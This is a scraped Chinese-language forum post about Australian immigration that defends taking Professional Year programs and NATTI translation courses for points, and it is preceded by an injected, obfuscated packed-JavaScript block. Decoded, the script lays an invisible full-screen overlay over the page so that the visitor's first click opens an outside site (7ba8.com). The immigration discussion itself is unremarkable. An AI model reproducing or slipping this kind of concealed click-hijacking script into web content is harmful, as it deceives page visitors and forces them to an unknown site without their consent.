<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script> 本帖最后由 Pythonic 于 2014-6-19 22:02 编辑
看到这里个别朋友抱怨PY和翻译,说实话我一直不太理解 ,可能是人与人思维方式不同
客观事实是, 如果你目前从事的工作能够达到移民局加分标准,那么你就可以不用读翻译或PY了.你是可以选择的, 你可以不读的。移民局也给你选择了,移民局也没有拿枪顶着你说一定要读。生活中没读翻译或PY,直接工作加分的人也有。在我看来这就和小学生中学生成绩好 就不用去补习班是一个道理。
打个比方一个小学生或中学生成绩不好 自身能力不足, 又不想去补习班, 同时还想拿高分。这不是逻辑矛盾么？
移民也一样, 既然你的工作无法达到加分标准,你的分数又不够, 那能怪谁？所以你就认真地读好PY, 翻译, 如果还抱怨,那不是逻辑有问题么
PY只要周日一天就够了.翻译晚上或周末都可以自由选择, 丝毫不影响工作。我反而觉得周末更加充实.我周末读翻译的时候班上也有不为了移民的人来充电。
我个人觉得读完翻译好处还是很大的,有以下几点益处：
首先,增加了对单词以及词组的理解,NATTI文章取自生活方方面面,主要为法律,医学,科技,生物,物理,道德,人文等等 这些文章里面又包含许多地道的英语表达,而这些地道的英语有时候由于我们平时理解的不够深刻而在现实生活中很少运用。但上了翻译课之后,就知道原来这个词在这个领域还可以这样用。举个简单的例子在医学里面Associated with通常就可以说是导致的意思,那以后您看病用词就多了一种选择。那不是很好么？这样的例子还有很多很多。
第二,加深了对英文语法句式的解读。我上翻译课的时候也发现,很多朋友虽然可以用口语说出这句话的大体模糊意思,但TA并没有把内在的关系和逻辑说清楚。很多人甚至连看都看不出来,更别提甚至有些人错误理解文章句子意思自己又丝毫没察觉的,或者自己还坚持认为对的。
第三,开拓视野, 反正我觉得读到很多我平时看新闻都没怎么关注的事件,比如澳洲东部城市如何治理缺水问题,澳洲在应对气候变化中的角色, 有很多物理类涉及澳洲清洁能源发展的文章,也有医疗类的比如澳洲医院如何防止病人手术并发症。科技类的关于澳洲在研究石墨烯代替半导体的进程等等。教育类有些文章介绍了澳洲基础教育,龚斯基教育计划等等 这些文章都跟澳洲有关,也开拓了视野。
基于上述,我认为是有用的,只要是生活在澳洲,我觉得上个NATTI翻译多少都有用。只是你平时自己没察觉罢了。我读翻译的时候也有些不为了移民的人就为了周末充电的上班族也来学习翻译。
当然,如果您真的特别强雅思4个8 加上您的工作又达到移民局加分标准的话,那您确实不用读了。
===================================================
下面有朋友问为何只有IT 会计 工程有PY 其他职业没有。
首先PY不止只有会计一家 IT 工程都有PY
移民局是想通过PY加分,鼓励更多澳洲的毕业生走入澳洲职场前沿,这个政策是合理的,NAVITAS每年留下的人也不少的。
但是谁来运营PY这个项目？肯定是私人大企业比如NAVITAS。而会计 IT 工程之所以有PY是提供PY项目的公司决定的,PY公司又是根据市场可提供实习的难易程度和学生入学PY项目的数量来决定
在资本主义社会,你没市场怎么开一个项目？PY公司不是国有,亦非慈善机构。
毕竟护士和技工的留学生相比三大热门专业还是少数。
读PY和翻译也不代表就比别人弱,很多人都有自己的纳税工作, 看看周末翻译班的人数就知道了。只是由于职业刚起步还无法达到移民局加分标准。
所以我真心觉得个别朋友无需像搞文革似的批斗别人。
联系人：
联系方式： |
|
收藏